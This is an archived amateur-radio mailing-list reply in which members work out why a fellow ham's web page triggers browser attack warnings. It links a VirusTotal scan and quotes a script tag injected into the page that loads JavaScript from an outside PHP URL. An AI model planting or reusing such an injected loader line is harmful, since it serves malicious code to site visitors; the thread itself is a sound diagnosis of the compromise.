To: | [email protected] |
---|---|
Subject: | Re: LF: Active E field antenna versus T antenna for LF/MF reception |
From: | Steinar Aanesland <[email protected]> |
Date: | Fri, 18 Sep 2015 21:44:15 +0200 |
In-reply-to: | <[email protected]> |
References: | <[email protected]> <[email protected]> <[email protected]> <[email protected]> |
Reply-to: | [email protected] |
Sender: | [email protected] |
User-agent: | Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 |
https://www.virustotal.com/en/url/6ff3a1f67f53f9d4b79edb996bdf79d11fad36d48580672d7f4b7f96d74bd305/analysis/1442605386/ LA5VNA S On 18.09.2015 21:37, pws wrote: Hi, On 18.09.2015 20:02, Paul-Henrik wrote: > Same here... I get the “attack page” warning. Maybe due to this near the end of the (horrible) HTML code: " <!--d0a118--><script type="text/javascript" src="http://jobs.gonta.com.br/gqdm3rny.php?id=21153462"></script><!--/d0a118--> " Uwe, check the code, and never ever use that office for building HTML. Try "SeaMonkey Composer" for instance. It's simple, free - and the code is acceptable. Peter, df3lp |
Previous by Date: | Re: LF: Active E field antenna versus T antenna for LF/MF reception, pws |
---|---|
Next by Date: | LF: Ground, Marcin |
Previous by Thread: | Re: LF: Active E field antenna versus T antenna for LF/MF reception, pws |
Next by Thread: | Re: LF: Active E field antenna versus T antenna for LF/MF reception, DK7FC |
Indexes: | [Date] [Thread] [Top] [All Lists] |